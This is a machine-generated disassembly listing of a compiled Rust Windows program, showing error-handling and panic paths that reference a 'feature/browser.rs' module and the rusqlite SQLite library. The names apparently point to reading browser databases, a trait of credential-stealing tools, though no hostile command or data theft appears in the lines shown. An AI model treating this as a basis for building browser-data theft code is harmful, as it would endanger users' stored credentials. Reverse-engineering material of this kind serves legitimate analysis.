movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
lea rax, [rsp + 0x98]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.src_feature_browser.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14030fd76]
lea r9, [0x140306c70]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he553ba724245dc85
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm3, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x2e0]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, str.srcutils.rs
jmp 0x1400e2e10
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x2e0]
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.srcutils.rs
jmp 0x1400e3073
mov ecx, 8
mov edx, 0x110
call sym.alloc::alloc::handle_alloc_error::ha2de6b786ec4bee4
mov ecx, 1
mov rdx, r13
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
lea rcx, [0x140306fe8]
call sym.core::cell::panic_already_mutably_borrowed::hc537fc27b9c2f1a8
mov ecx, 1
mov rdx, qword [rsp + 0x388]
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
mov ecx, 1
mov rdx, rdi
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
lea rcx, [0x140307018]
call sym.core::cell::panic_already_borrowed::h2e435b1888c1edac
lea rcx, [0x140307000]
call sym.core::cell::panic_already_borrowed::h2e435b1888c1edac
mov qword [rsi + 0x40], rcx
jmp 0x1400e297c
mov ecx, 1
mov rdx, rbx
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
mov ecx, 1
mov rdx, r12
call sym.alloc::raw_vec::handle_error::h4c8b686338b9335b
movzx eax, byte [rsp + 0x97]
shl eax, 0x10
movzx ecx, word [rsp + 0x95]
or ecx, eax
shl rcx, 0x20
mov ebp, dword [rsp + 0x91]
or rbp, rcx
mov r8, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
movups xmm0, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x40], xmm0
mov rdx, qword [rsp + 0xc8]
shl rbp, 8
movzx eax, sil
or rax, rbp
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], r8
mov qword [rsp + 0xa0], r15
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0xa8], xmm0
movdqu xmmword [rsp + 0xb8], xmm1
mov qword [rsp + 0xc8], rdx
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
cdqe
mov byte [rsp + 0x90], 0x11
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rax
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x1c0]
movdqu xmm1, xmmword [rsp + 0x1d0]
movdqu xmm2, xmmword [rsp + 0x1e0]
movdqu xmm3, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movaps xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movaps xmm3, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x529]
movups xmm1, xmmword [rsp + 0x539]
movups xmm2, xmmword [rsp + 0x549]
movups xmm3, xmmword [rsp + 0x558]
movups xmmword [rsp + 0xf1], xmm0
movups xmmword [rsp + 0x101], xmm1
movups xmmword [rsp + 0x111], xmm2
movups xmmword [rsp + 0x120], xmm3
mov byte [rsp + 0xf0], al
lea rax, str.src_feature_browser.rs
jmp 0x1400e3886
movzx eax, byte [rsp + 0x97]
shl eax, 0x10
movzx ecx, word [rsp + 0x95]
or ecx, eax
shl rcx, 0x20
mov r15d, dword [rsp + 0x91]
or r15, rcx
mov r14, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
movups xmm0, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x40], xmm0
mov rdx, qword [rsp + 0xc8]
shl r15, 8
movzx eax, sil
or rax, r15
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], rbx
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0xa8], xmm0
movdqu xmmword [rsp + 0xb8], xmm1
mov qword [rsp + 0xc8], rdx
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
lea rcx, [rsp + 0x1c8]
mov qword [rsp + 0x20], 0x5b
lea r9, [rsp + 0x30]
mov rdx, rsi
mov r8d, eax
call sym.rusqlite::error::error_with_offset::h739924bca736ff99
inc qword [rsp + 0x320]
lea rax, [rsp + 0x208]
movups xmm0, xmmword [rax - 0x40]
movdqu xmm1, xmmword [rax - 0x30]
movdqu xmm2, xmmword [rax - 0x20]
movdqu xmm3, xmmword [rax - 0x10]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
cdqe
mov byte [rsp + 0x90], 0x11
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rax
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movups xmm0, xmmword [rsp + 0x1c0]
movdqu xmm1, xmmword [rsp + 0x1d0]
movdqu xmm2, xmmword [rsp + 0x1e0]
movdqu xmm3, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x1400e2a92
movaps xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movaps xmm3, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x569]
movups xmm1, xmmword [rsp + 0x579]
movups xmm2, xmmword [rsp + 0x589]
movups xmm3, xmmword [rsp + 0x598]
movups xmmword [rsp + 0xf1], xmm0
movups xmmword [rsp + 0x101], xmm1
movups xmmword [rsp + 0x111], xmm2
movups xmmword [rsp + 0x120], xmm3
mov byte [rsp + 0xf0], al
lea rax, str.0q0_
mov qword [rsp + 0x20], rax
lea rcx, [0x14030fd76]
lea r9, sym.core::ptr::drop_in_place__rusqlite::Connection_rusqlite::error::Error__::ha703118eb0595fbe
lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he553ba724245dc85
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, str.srcutils.rs
jmp 0x1400e2e10
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x1c0]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, str.srcutils.rs
jmp 0x1400e3073
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, str.srcutils.rs
jmp 0x1400e3073
jmp 0x1400e3939
jmp 0x1400e3976
shl rax, 8
mov qword [rsp + 0x3f0], rsi
mov rcx, qword [rsp + 0x3f0]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], rax
lea rax, str.src_feature_browser.rs
jmp 0x1400e39a5
shl rax, 8
mov qword [rsp + 0x3f0], rsi
mov rcx, qword [rsp + 0x3f0]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], rax
lea rax, str.src_feature_browser.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14030fd76]
lea r9, sym._ZN4core3ptr39drop_in_place_LT_std..env..VarError_GT_17h0eca1bee7e97dc6cE.4143
lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he553ba724245dc85
jmp 0x1400e39d2
mov rsi, rax
cmp qword [rsp + 0x2e0], 0
je 0x1400e39f6
mov r8, qword [rsp + 0x2e8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
mov rcx, rsi
call sym._Unwind_Resume
int3